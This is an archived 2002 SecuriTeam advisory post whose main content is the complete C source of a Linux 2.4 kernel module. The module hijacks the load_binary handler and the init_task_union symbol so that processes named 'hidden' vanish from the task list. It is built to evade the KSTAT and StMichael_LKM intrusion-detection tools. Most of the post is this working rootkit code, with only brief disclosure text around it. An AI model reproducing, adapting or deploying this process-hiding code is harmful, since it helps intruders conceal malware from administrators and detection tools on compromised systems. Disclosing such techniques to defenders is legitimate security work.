

[EXPL] Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0045.html>

From: support@securiteam.com

Date: 08/13/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 13 Aug 2002 18:38:29 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

SUMMARY

The following proof of concept module will allow you to hide tasks from the KSTAT tool (a tool used to find attackers in your system by a direct analysis of the kernel through /dev/kmem) and StMichael_LKM tool.

DETAILS

Exploit:

/* 2002-07-31#04:19

*

* HIJACKING KERNEL SYMBOLS AND FUNCTIONS USED TO LOAD BINARY FORMATS

* -----

*

* working code for 2.4.x linux kernels.

* compile: cc -c -I/usr/src/linux/include -O2 -Wall -o khideee.o

khideee.c

* (will hide all tasks with ->comm == "hidden")

*

* Dallachiesa Michele aka xenion

* mail: xenion@acidlife.com

* home: <http://www.acidlife.com/mayhem/tba/>

Securiteam: [EXPL] Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

```
*/

#define HIDDEN_COMM "hidden"

#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/malloc.h>

struct task_struct *my_init_task;
void my_tasklist_init();
void my_tasklist_update();
void my_tasklist_hide();
void my_tasklist_free();

struct module_symbol *get_symbol_addr(const char *);
struct module_symbol *s_init_task_union;

int (*o_load_binary)(struct linux_binprm *,
    struct pt_regs * regs);

int n_load_binary(struct linux_binprm *bprm,
    struct pt_regs *regs);

int
init_module(void)
{
    s_init_task_union = get_symbol_addr("init_task_union");

    my_tasklist_init();
    my_tasklist_update();

    s_init_task_union->value = (unsigned long) my_init_task;

    o_load_binary = init_task.next_task->binfmt->load_binary;
    init_task.next_task->binfmt->load_binary = n_load_binary;

    return 0;
}

void
cleanup_module(void)
{
```

Securiteam: [EXPL] Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

```
s_init_task_union->value = (unsigned long) &init_task;
my_tasklist_free();
init_task.next_task->binfmt->load_binary = o_load_binary;
}

int
n_load_binary(struct linux_binprm *bprm, struct pt_regs *regs)
{
    char *p,
          *P;

    my_tasklist_update();
    my_tasklist_hide();

    for (p = P = bprm->filename; *p != '\0'; p++)
if (*p == '/')
    P = p + 1;

    strncpy(my_init_task->prev_task->comm, P,
sizeof my_init_task->prev_task->comm);
    my_init_task->prev_task->comm[15] = '\0';

    return o_load_binary(bprm, regs);
}

struct module_symbol *
get_symbol_addr(const char *name)
{
    struct module *mod;
    struct module_symbol *s;
    int i,
          found;

    for (mod = THIS_MODULE; mod->next != NULL; mod = mod->next);

    for (found = 0, s = mod->syms, i = 0; i < mod->nsyms; ++i, ++s)
if (strstr(s->name, name) != NULL) {
        ++found;
        break;
    }

    if (!found)
return NULL;

    return s;
}

void
my_tasklist_init()
{
    my_init_task =
```

Securiteam: [EXPL] Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

```
(struct task_struct *) kmalloc(sizeof(struct task_struct),
    GFP_KERNEL);
    if (!my_init_task)
return;

    memcpy(my_init_task, &init_task, sizeof(struct task_struct));

    my_init_task->next_task = my_init_task;
    my_init_task->prev_task = my_init_task;
}

void
my_tasklist_update()
{
    struct task_struct *p,
        *P,
        *tmp;

    if (!my_init_task)
return;

    P = my_init_task;
    p = &init_task;

    if (my_init_task != my_init_task->next_task) { // not the first

while (P->next_task != my_init_task &&
    p->next_task != &init_task &&
    p->next_task->pid == P->next_task->pid) {
    p = p->next_task;
    P = P->next_task;
}

while (my_init_task->prev_task != P) {
    tmp = my_init_task->prev_task;
    my_init_task->prev_task = my_init_task->prev_task->prev_task;
    kfree(tmp);
}

    }

    for (p = p->next_task, tmp = P; p != &init_task; p = p->next_task) {
P = (struct task_struct *) kmalloc(sizeof(struct task_struct),
    GFP_KERNEL);
if (!P)
    return;
memcpy(P, p, sizeof(struct task_struct));
P->next_task = my_init_task;
P->prev_task = tmp;
tmp->next_task = P;
tmp = P;
}
```

Securiteam: [EXPL] Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

```
}

my_init_task->prev_task = P;
}

void
my_tasklist_free()
{
    struct task_struct *p;

    p = my_init_task;

    while (p->next_task != my_init_task) {
p = p->next_task;
kfree(p->prev_task);
    }

    kfree(p);
}

void
my_tasklist_hide()
{
    struct task_struct *p,
        *tmp;

    for (p = my_init_task; (p = p->next_task) != my_init_task;)
if (strcmp(p->comm, HIDDEN_COMM) == 0) {
    p->prev_task->next_task = p->next_task;
    p->next_task->prev_task = p->prev_task;
    tmp = p;
    p = p->prev_task;
    kfree(tmp);
}
}

/*
 * EOF
 */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:xenion@acidlife.com>>
Dallachiesa Michele.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] Tool allows Hijacking Kernel Symbols and Functions to Hide Binary Files

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- ***Previous message:*** support@securiteam.com: "[NEWS] Cisco VPN Client Multiple Vulnerabilities"
 - ***Messages sorted by:*** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)